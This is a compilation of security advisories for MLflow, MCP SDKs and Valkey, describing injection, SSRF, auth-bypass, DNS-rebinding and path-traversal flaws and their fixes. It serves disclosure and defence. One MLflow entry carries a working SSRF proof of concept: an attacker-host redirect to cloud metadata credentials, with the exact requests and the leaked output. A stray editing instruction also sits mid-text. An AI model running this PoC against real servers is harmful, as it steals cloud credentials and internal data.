A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the installmodeldependenciestoenv() function. When deploying a model with envmanager=LOCAL, MLflow reads dependency specifications from the model artifact's pythonenv.yaml file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.2.

A vulnerability in the createmodelversion() handler of mlflow/server/handlers.py in mlflow/mlflow versions 3.9.0 and earlier allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The issue arises when a CreateModelVersion request includes the tag mlflow.prompt.isprompt, which bypasses source path validation. This enables an attacker to store an arbitrary local filesystem path as the model version source. The getmodelversionartifacthandler() function later uses this source to serve files without verifying the model version's prompt status, leading to a complete confidentiality compromise. This issue is fixed in version 3.10.0.

In mlflow/mlflow, the FastAPI job endpoints under /ajax-api/3.0/jobs/ are not protected by authentication or authorization when the basic-auth app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (MLFLOWSERVERENABLEJOBEXECUTION=true) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.

Summary In affected versions, the default request handlers installed by the experimental tasks feature (server.experimental.enabletasks()) did not check which session created a task before acting on it. On a server with more than one connected client, any client could observe, read results from, and cancel tasks belonging to other clients.

Am I affected? Only if the developer's application server calls server.experimental.enabletasks(). If grep -r enabletasks over their codebase finds nothing, the application is not affected.

Details When tasks support is enabled on the low-level server, default handlers are registered for tasks/list, tasks/get, tasks/result, and tasks/cancel. These handlers operated on the task identifier alone and kept no record of the session that created each task. Because tasks/list returned every task in the store, a connected client did not need to know any identifiers in advance: it could enumerate all tasks, read any task's status and result via tasks/get and tasks/result, retrieve queued task messages — such as elicitation requests intended for the task's creator, which are removed from the queue on delivery, so the intended recipient never receives them — and cancel any task via tasks/cancel.

Impact Servers that call server.experimental.enabletasks() and serve multiple clients are affected: one client can read other clients' task results and elicitation payloads, consume messages meant for them, and cancel their tasks. The feature is experimental and opt-in, so servers that never enable it are unaffected. Servers that registered their own task handlers instead of the defaults are affected only if those handlers have the same omission.

Mitigation Upgrade to version 1.27.2 or later, in which task IDs generated by runtask() embed an opaque per-session marker and the default handlers restrict each session to its own tasks: requests for another session's task receive "task not found", and tasks/list returns only the requesting session's tasks. Tasks created with explicitly chosen IDs or written directly through a TaskStore remain reachable by ID but are not listed. Alternatively, leave the experimental tasks feature disabled, or register task handlers that validate session ownership.

Summary In affected versions, the SSE and Streamable HTTP server transports routed incoming requests to an existing session based only on the session identifier, without verifying that the request was authenticated as the same principal that created the session. Anyone who learned or guessed a session ID could send JSON-RPC messages on that session, regardless of which bearer token the request carried.

Am I affected? Only if a developer's application server uses an HTTP transport (SSE, or Streamable HTTP in stateful mode) and authenticates requests. Servers on stdio, stateless Streamable HTTP, or with no authentication configured are not affected.

Details Both transports look up the target session by its identifier alone — the sessionid query parameter for SSE (mcp.server.sse.SseServerTransport) and the Mcp-Session-Id header for Streamable HTTP (mcp.server.streamablehttpmanager.StreamableHTTPSessionManager). Once the lookup succeeded, the request was handled on that session without comparing its authentication context to the credentials presented when the session was created, so a request authenticated as a different OAuth client could inject messages into the session. On the SSE transport the response is delivered to the original client's event stream; on the Streamable HTTP transport it is returned on the injecting request, so the injecting client can also read the result. The SSE transport has been affected since the first release; the Streamable HTTP transport since version 1.8.0.

Impact Servers using either HTTP transport together with the SDK's built-in bearer-token authentication are affected: the per-client isolation that authentication provides can be bypassed for any session whose ID is known. Session IDs are randomly generated UUIDs, so exploitation requires obtaining one out of band (logs, network observation). Servers that do not enable bearer-token authentication have no per-client isolation to bypass and are not addressed by this advisory, and stateless Streamable HTTP deployments do not maintain sessions and are unaffected.

Mitigation Upgrade to version 1.27.2 or later, which records the authenticated principal that created each session — the OAuth client ID together with the token's issuer and subject when the token verifier supplies them — and answers requests presenting a different principal with the same 404 response as for an unknown session.

Deployments where many end users share a single OAuth client (hosted MCP clients, gateways) should ensure their token verifier populates AccessToken.subject (e.g. from the token's sub claim) so sessions are isolated per user rather than per client. Deployments using a custom authentication backend other than the built-in BearerAuthBackend should enforce an equivalent check themselves.

Summary In affected versions, the deprecated WebSocket server transport (mcp.server.websocket.websocketserver) accepted the WebSocket handshake without applying any Host or Origin header validation. The TransportSecuritySettings mechanism that the SSE and Streamable HTTP transports use for this purpose was not wired into the WebSocket transport, so there was no SDK-level way to restrict which origins could connect.

Am I affected? Only if a developer's application server exposes mcp.server.websocket.websocketserver. This transport has never been part of the MCP specification, is marked deprecated, and is not reachable through FastMCP — a developer must have wired it into an ASGI application themselves. Servers using stdio, SSE, or Streamable HTTP are not affected by this advisory.

Details websocketserver() constructed a Starlette WebSocket and called accept(subprotocol="mcp") immediately, with no inspection of the connection's headers. By contrast, SseServerTransport and StreamableHTTPServerTransport accept an optional securitysettings: TransportSecuritySettings and run TransportSecurityMiddleware.validaterequest() against the incoming Host and Origin headers before establishing a session. Because browsers attach an Origin header to cross-origin WebSocket upgrade requests but do not enforce a same-origin policy on the response, a web page served from any origin could open a WebSocket to a reachable MCP server on this transport, complete the initialize handshake, and issue JSON-RPC requests on the resulting session.

Impact A user who runs an MCP server on this transport bound to localhost or a LAN address, without a separate authentication or origin gate in front of it, and visits a malicious web page, can have that page enumerate and invoke the server's tools and read its resources. The consequences depend entirely on what the server exposes. The transport itself requires no token or prior session. Some browsers prompt before allowing a public page to open a connection to a local-network address, which adds a user-interaction step but is not a substitute for server-side validation.

Mitigation Upgrade to version 1.28.1 or later, in which websocketserver() accepts the same optional securitysettings: TransportSecuritySettings argument as the other HTTP-based transports and validates the Host and Origin headers before accepting the handshake; a request that fails validation is rejected with HTTP 403 and ValueError("Request validation failed") is raised to the caller. As with the other transports the parameter defaults to None, which leaves validation disabled, so upgrading alone does not change behaviour: pass a TransportSecuritySettings with enablednsrebindingprotection=True and appropriate allowedhosts / allowedorigins to receive the protection. The recommended path remains to migrate off this deprecated transport to Streamable HTTP, where FastMCP enables this protection automatically for localhost binds. The WebSocket transport has been removed entirely in v2.

Summary The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (validatewebhookurl, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allowredirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/init.py, WEBHOOKBEFOREREQUESTHANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py validatewebhookurl: python schemes = MLFLOWWEBHOOKALLOWEDSCHEMES.get() # default ["https"] if parsedurl.scheme not in schemes: raise ... if not MLFLOWWEBHOOKALLOWPRIVATEIPS.get(): # default False for addrinfo in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(addrinfo[4][0]) if not ip.isglobal: raise ... # blocks RFC1918/loopback/link-local/metadata The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: python def createwebhooksession(): adapter = HTTPAdapter(maxretries=retrystrategy) # retry only; no IP pinning ... def sendwebhookrequest(webhook, payload, event, session): validatewebhookurl(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payloadbytes, headers=headers, timeout=timeout) # no allowredirects=False -> 302 followed; redirect Location never re-validated testwebhook returns responsestatus and responsebody to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes validatewebhookurl):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhookid":"<WEBHOOKID>", ... ,"status":"ACTIVE"}}

<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOKID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"webhookid":"<WEBHOOKID>","event":{"entity":"REGISTEREDMODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"responsestatus":200, "responsebody":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "responsebody":"INTERNALSECRET=mlflowssrfproof7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

<img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" />

Notes: - Webhook events enum values must be UPPERCASE proto names (REGISTEREDMODEL, CREATED); lowercase maps to ENTITYUNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

- 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.responsebody), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

A vulnerability in mlflow/mlflow versions prior to 3.11.0 allows for the resolution of environment variables in AI Gateway secrets, which can be exploited to exfiltrate sensitive server-side environment credentials to an attacker-controlled endpoint. This issue arises because the apikey field in gateway secrets can accept $ENVVAR references, which are resolved against the MLflow server's environment during runtime. The resolved secrets are then sent in provider authentication headers to the configured upstream apibase. This vulnerability can be exploited by low-privileged authenticated users in basic-auth deployments or by unauthenticated users in default deployments without basic-auth. The impact includes potential leakage of sensitive credentials such as cloud artifact credentials (AWSACCESSKEYID, AWSSECRETACCESSKEY), which could lead to artifact poisoning and cross-boundary code execution in downstream environments. The issue is fixed in version 3.11.0.

Redis DoS Vulnerability due to unlimited growth of output buffers abused by unauthenticated client

The Go MCP SDK used Go's standard encoding/json. Prior to version 1.4.0, the Model Context Protocol (MCP) Go SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with StreamableHTTPHandler or SSEHandler, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances. This issue has been patched in version 1.4.0.

Summary

The java-sdk contains a DNS rebinding vulnerability. This vulnerability allows an attacker to access a locally or network-private java-sdk MCP server via a victims browser that is either local, or network adjacent.

This allows an attacker to make any tool call to the server as if they were a locally running MCP connected AI agent.

Details

Prior to 1.0.0 no Origin header validation was occurring, in violation of the MCP specification. Base Protocol > Transports: 2.0.1 Security Warning:

1: Servers MUST validate the Origin header on all incoming connections to prevent DNS rebinding attacks.

When the web server serving HTTP traffic to the MCP server does not perform standard CORS checks, a DNS rebinding attack is possible.

Some default server configurations and frameworks come with embedded Origin header validation. MCP servers built using those are not vulnerable to this issue. For example, the following are NOT vulnerable: - Spring AI

Impact

Any developer connecting to a malicious website can inadvertently allow an attacker to make tool calls to local or private-network MCP servers.

Workarounds

Users can mitigate this risk by: 1. Running the MCP server behind a reverse proxy (like Nginx or HAProxy) configured to strictly validate the Host and Origin headers. 2. Using a framework that inherently enforces strict CORS and Origin validation (such as Spring AI).

Summary

Hardcoded Wildcard CORS (Access-Control-Allow-Origin: )

- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289 - https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525

Attack Scenario An attacker-controlled web page instructs the victim's browser to open GET https://internal-mcp-server/sse. Because Access-Control-Allow-Origin: allows cross-origin SSE reads, the attacker's page receives the endpoint event — which contains the session ID. The attacker can then POST to that endpoint from their page using the victim's browser as a relay.

Comparison with python-sdk No Access-Control-Allow-Origin header is emitted by either Python transport. The browser's default same-origin policy remains in full effect. https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/sse.py https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamablehttp.py

Recommendation In the SDK, the transport layer should not own CORS policy. Server implementors who need cross-origin access can add a CORS filter at the servlet filter or Spring Security layer.

Resources

- https://cheatsheetseries.owasp.org/cheatsheets/HTTPHeadersCheatSheet.html#access-control-allow-origin

In mlflow/mlflow versions prior to 3.11.0, the getorcreatenfstmpdir() function in mlflow/utils/fileutils.py creates temporary directories with world-writable permissions (0o777), and the createmodeldownloadingtmpdir() function in mlflow/pyfunc/init.py creates directories with group-writable permissions (0o770). These insecure permissions allow local attackers to tamper with model artifacts, such as cloudpickle-serialized Python objects, and achieve arbitrary code execution when the tampered artifacts are deserialized via cloudpickle.load(). This vulnerability is particularly critical in environments with shared NFS mounts, such as Databricks, where NFS is enabled by default. The issue is a continuation of the vulnerability class addressed in CVE-2025-10279, which was only partially fixed.

In mlflow/mlflow versions up to 3.9.0, the SearchModelVersions REST API endpoint and the mlflowSearchModelVersions GraphQL query lack proper per-model authorization checks when basic authentication is enabled. This allows any authenticated user to enumerate all model versions across all registered models, regardless of their permission level. The issue arises due to the absence of SearchModelVersions in the BEFOREREQUESTVALIDATORS and AFTERREQUESTHANDLERS for the REST API, and its omission from GraphQLAuthorizationMiddleware.PROTECTEDFIELDS for GraphQL. This vulnerability can expose sensitive information such as model names, version descriptions, source URIs, tags, and other metadata, potentially revealing proprietary or confidential details in multi-tenant environments. The issue is resolved in version 3.10.0.

A flaw has been found in MLflow up to 3.10.0. This issue affects the function mlflow.data.digestutils of the file mlflow/data/digestutils.py of the component Dataset Digest Computation. This manipulation causes use of weak hash. It is possible to launch the attack on the local host. The attack is considered to have high complexity. The exploitability is assessed as difficult. The exploit has been published and may be used. The project was informed of the problem early through a pull request but has not reacted yet.

A command injection vulnerability exists in mlflow/mlflow when serving a model with enablemlserver=True. The modeluri is embedded directly into a shell command executed via bash -c without proper sanitization. If the modeluri contains shell metacharacters, such as $() or backticks, it allows for command substitution and execution of attacker-controlled commands. This vulnerability affects the latest version of mlflow/mlflow and can lead to privilege escalation if a higher-privileged service serves models from a directory writable by lower-privileged users.

A vulnerability in MLflow versions <=3.10.1.dev0 allows unauthorized access to multipart upload (MPU) endpoints when the --serve-artifacts mode is enabled. The authorization logic does not enforce resource-level permission checks for /mlflow-artifacts/mpu/ endpoints, enabling attackers to overwrite artifacts belonging to other users. This can lead to unauthorized cross-user writes, model supply chain poisoning, and arbitrary code execution when compromised models are loaded. The issue is resolved in version 3.10.0.

MLflow 3.9.0 with basic-auth (--app-name basic-auth) fails to enforce authorization checks for multiple Gateway API 'list' endpoints. Specifically, the BEFOREREQUESTHANDLERS dictionary in mlflow/server/auth/init.py does not include entries for ListGatewaySecretInfos, ListGatewayEndpoints, and ListGatewayModelDefinitions. This allows any authenticated user, regardless of their assigned permissions, to enumerate all gateway secrets, endpoints, and model definitions. This vulnerability exposes sensitive information, such as API keys, endpoint configurations, and proprietary model definitions, to unauthorized users.

In MLflow version 3.9.0, the MLflow Assistant feature introduced improper origin validation in its /ajax-api endpoints. This vulnerability allows a remote attacker to exploit cross-origin requests from a malicious webpage to interact with the MLflow Assistant running on a victim's local machine. By bypassing the loopback-only restriction, the attacker can modify the Assistant's configuration to enable full access, which in turn allows the execution of arbitrary commands via the Claude Code sub-agent. This issue is resolved in version 3.10.0.

The Go MCP SDK used Go's standard encoding/json.Unmarshal for JSON-RPC and MCP protocol message parsing in versions prior to 1.3.1. Go's standard library performs case-insensitive matching of JSON keys to struct field tags — a field tagged json:"method" would also match "Method", "METHOD", etc. This violated the JSON-RPC 2.0 specification, which defines exact field names. A malicious MCP peer may have been able to send protocol messages with non-standard field casing that the SDK would silently accept. This had the potential for bypassing intermediary inspection and coss-implementation inconsistency. Go's standard JSON unmarshaling was replaced with a case-sensitive decoder in commit 7b8d81c. Users are advised to update to v1.3.1 to resolve this issue.

Valkey is a distributed key-value database. Starting in version 9.0.0 and prior to version 9.0.3, a malicious actor with network access to Valkey can cause the system to abort by triggering an assertion. When processing incoming requests, the Valkey system does not properly reset the networking state after processing an empty request. A malicious actor can then send a request that the server incorrectly identifies as breaking server side invariants, which results in the server shutting down. Version 9.0.3 fixes the issue. As an additional mitigation, properly isolate Valkey deployments so that only trusted users have access.

Summary

Cross-client data leak via two distinct issues: (1) reusing a single StreamableHTTPServerTransport across multiple client requests, and (2) reusing a single McpServer/Server instance across multiple transports. Both are most common in stateless deployments.

Impact

This advisory covers two related but distinct vulnerabilities. A deployment may be affected by one or both.

Issue 1: Transport re-use

What happens: When a single StreamableHTTPServerTransport instance handles multiple client requests, JSON-RPC message ID collisions cause responses to be routed to the wrong client's HTTP connection. The transport maintains an internal requestId → stream mapping, and since MCP client SDKs generate message IDs using an incrementing counter starting at 0, two clients produce identical IDs. The second client's request overwrites the first client's mapping entry, routing the response to the wrong HTTP stream.

What is affected: All request types — tools/call, resources/read, prompts/get, etc. No server-initiated features are required to trigger this.

Conditions: - A single StreamableHTTPServerTransport instance is reused across multiple client requests (most common in stateless mode without sessionIdGenerator) - Two or more clients send requests concurrently - Clients generate overlapping JSON-RPC message IDs (the SDK's default client uses an incrementing counter starting at 0)

Issue 2: Server/Protocol re-use

What happens: When a single McpServer (or Server) instance is connect()ed to multiple transports (one per client), the Protocol's internal this.transport reference is silently overwritten. The final response to a request is routed correctly (the Protocol captures the transport reference at request time), but any server-to-client messages sent during request handling use the shared this.transport reference, which may point to a different client's transport.

What is affected: This depends on what features your server uses:

- Final responses (the return value from a tool/resource/prompt handler): Affected in most cases. The Protocol captures this.transport at request-handling time, not the transport that delivered the request. This means: - If a request is already in-flight when a second connect() occurs (i.e., the request arrived before the transport was overwritten), the captured reference is correct and the response routes properly. - If a request arrives on the old transport after a second connect() has overwritten this.transport, the captured reference points to the new transport, and the response is mis-routed. The requesting client will time out. - Progress notifications sent during tool execution via sendNotification: Affected. These are dispatched through this.transport. When the transport has been overwritten and message IDs collide on the new transport, notifications are routed to the wrong client's HTTP stream. - Sampling (createMessage) and elicitation requests sent during tool execution via sendRequest: Affected. Same mechanism — the request is sent to the wrong client. - Spontaneous server-initiated notifications (outside any request handler): Affected. These are sent to whichever client's transport was most recently connected.

Conditions: - A single McpServer/Server instance is connect()ed to multiple transports across requests or sessions - Two or more clients connect concurrently - For in-request notifications/requests: message ID collision on the other transport is required for silent data leaking (the SDK's default client uses an incrementing counter starting at 0). Without collision, the transport will throw an error rather than misroute. - For spontaneous notifications: no collision needed, messages are always sent to the last-connected client's transport

How to tell if you're affected

- You use sessionIdGenerator (stateful mode) with a new McpServer per session → not affected by either issue. Each session has its own transport and server instance. - You use sessionIdGenerator but share a single McpServer across sessions → not affected by Issue 1 (transport re-use), but affected by Issue 2 (server re-use) if your tools send progress notifications, sampling, or elicitation during execution. - You are in stateless mode and reuse both a transport and a server across requests → affected by both issues; all request types can leak. - You are in stateless mode and create a new transport per request, but reuse the server → affected by Issue 2 only; safe if your tools only return results without sending progress notifications, sampling, or elicitation during execution. - You create a new server + transport per request → not affected. - Single-client environments (e.g., local development with one IDE) → not affected.

Patches

The fix (v1.26.0) adds runtime guards that turn silent data misrouting into immediate, actionable errors:

1. Protocol.connect() now throws if the protocol is already connected to a transport, preventing silent transport overwriting (addresses Issue 2) 2. Stateless StreamableHTTPServerTransport.handleRequest() now throws if called more than once, enforcing one-request-per-transport in stateless mode (addresses Issue 1) 3. In-flight request handler abort controllers are cleaned up on close(), and sendNotification/sendRequest in handler extras check the abort signal before sending, preventing messages from leaking after a transport is replaced

Servers that were incorrectly reusing instances will now receive a clear error message directing them to create separate instances per connection.

Workarounds

If you cannot upgrade immediately, ensure your server creates fresh McpServer and transport instances for each request (stateless) or session (stateful):

typescript // Stateless mode: create new server + transport per request app.post('/mcp', async (req, res) => { const server = new McpServer({ name: 'my-server', version: '1.0.0' }); // ... register tools, resources, etc. const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined }); await server.connect(transport); await transport.handleRequest(req, res); });

// Stateful mode: create new server + transport per session const sessions = new Map(); app.post('/mcp', async (req, res) => { const sessionId = req.headers['mcp-session-id']; if (sessions.has(sessionId)) { await sessions.get(sessionId).transport.handleRequest(req, res); } else { const server = new McpServer({ name: 'my-server', version: '1.0.0' }); // ... register tools, resources, etc. const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() }); await server.connect(transport); sessions.set(transport.sessionId, { server, transport }); await transport.handleRequest(req, res); } });

Malformed Valkey Cluster bus message can lead to Remote DoS

Valkey Affected by RESP Protocol Injection via Lua errorreply

In the latest version of mlflow/mlflow, when the basic-auth app is enabled, tracing and assessment endpoints are not protected by permission validators. This allows any authenticated user, including those with NOPERMISSIONS on the experiment, to read trace information and create assessments for traces they should not have access to. This vulnerability impacts confidentiality by exposing trace metadata and integrity by allowing unauthorized creation of assessments. Deployments using mlflow server --app-name=basic-auth are affected.

A vulnerability in MLflow's pyfunc extraction process allows for arbitrary file writes due to improper handling of tar archive entries. Specifically, the use of tarfile.extractall without path validation enables crafted tar.gz files containing .. or absolute paths to escape the intended extraction directory. This issue affects the latest version of MLflow and poses a high/critical risk in scenarios involving multi-tenant environments or ingestion of untrusted artifacts, as it can lead to arbitrary file overwrites and potential remote code execution.

A path traversal vulnerability exists in the extractarchivetodir function within the mlflow/pyfunc/dbconnectartifactcache.py file of the mlflow/mlflow repository. This vulnerability, present in versions before v3.7.0, arises due to the lack of validation of tar member paths during extraction. An attacker with control over the tar.gz file can exploit this issue to overwrite arbitrary files or gain elevated privileges, potentially escaping the sandbox directory in multi-tenant or shared cluster environments.

A command injection vulnerability exists in mlflow/mlflow versions before v3.7.0, specifically in the mlflow/sagemaker/init.py file at lines 161-167. The vulnerability arises from the direct interpolation of user-supplied container image names into shell commands without proper sanitization, which are then executed using os.system(). This allows attackers to execute arbitrary commands by supplying malicious input through the --container parameter of the CLI. The issue affects environments where MLflow is used, including development setups, CI/CD pipelines, and cloud deployments.

Impact

A ReDoS vulnerability in the UriTemplate class allows attackers to cause denial of service. The partToRegExp() function generates a regex pattern with nested quantifiers (([^/]+(?:,[^/]+))) for exploded template variables (e.g., {/id}, {?tags}), causing catastrophic backtracking on malicious input.

Who is affected: MCP servers that register resource templates with exploded array patterns and accept requests from untrusted clients.

Attack result: An attacker sends a crafted URI via resources/read request, causing 100% CPU utilization, server hang/crash, and denial of service for all clients.

Affected Versions

All versions of @modelcontextprotocol/sdk prior to the patched release.

Patches

v1.25.2 contains b392f02ffcf37c088dbd114fedf25026ec3913d3 the fix modifies the regex pattern to prevent backtracking.

Workarounds

- Avoid using exploded patterns ({/id}, {?tags}) in resource templates - Implement request timeouts and rate limiting - Validate URIs before processing to reject suspicious patterns

In MLflow versions prior to 3.14.0, when running with authentication enabled, the trace API endpoints lack proper authorization validators. This allows any authenticated user to bypass experiment-level authorization controls on all trace operations, including reading, deleting, and modifying traces on experiments they do not have permission to access. The issue arises from the beforerequest handler, which does not register authorization validators for trace endpoints, resulting in requests proceeding without validation. This vulnerability can expose sensitive data, destroy audit logs, and allow unauthorized modifications.